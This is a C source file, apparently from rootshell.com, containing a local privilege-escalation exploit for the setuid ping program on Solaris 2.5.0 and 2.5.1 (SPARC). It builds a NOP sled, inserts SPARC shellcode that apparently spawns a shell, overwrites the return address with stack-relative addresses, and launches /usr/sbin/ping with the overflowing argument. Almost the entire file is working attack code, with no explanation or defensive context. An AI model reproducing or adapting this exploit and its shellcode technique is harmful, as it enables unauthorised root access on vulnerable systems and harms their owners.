/* Ping sploit, for Solaris 2.5.1 and 2.5.0. (sparc)
   http://www.rootshell.com/
*/

#include <sys/types.h>                                                
#include <unistd.h>                                                   
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>               
#include <netinet/in.h>                     
#include <arpa/inet.h>    
#include <netdb.h>
          
#define BUF_LENGTH      8200                                          
#define EXTRA           100                                           
#define STACK_OFFSET    4000                                          
#define SPARC_NOP       0xa61cc013                                    
 
u_char sparc_shellcode[] =                                         
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"    
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"    
"\x82\x10\x20\x3b\x91\xd4\xff\xff";                                   
    
u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}
 
void main(int argc, char *argv[])                                     
{
  char buf[BUF_LENGTH + EXTRA];                                       
  long targ_addr;
  u_long *long_p;                                                     
  u_char *char_p;                                                     
  int i, code_length = strlen(sparc_shellcode);                       
    
  long_p = (u_long *) buf;                                            
    
  for (i = 0; i<(BUF_LENGTH - code_length) / sizeof(u_long); i++)             
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;                                            
 
  for (i = 0; i<code_length; i++)
    *char_p++ = sparc_shellcode[i];                                   
 
  long_p = (u_long *) char_p;                                         
 
  targ_addr = get_sp() - STACK_OFFSET;                                
  for (i = 0; i<EXTRA / sizeof(u_long); i++)
    *long_p++ = targ_addr;

  printf("Jumping to address 0x%lx\n", targ_addr);
  execl("/usr/sbin/ping", "ping", buf, (char *) 0);                    
       
  perror("execl failed");        
}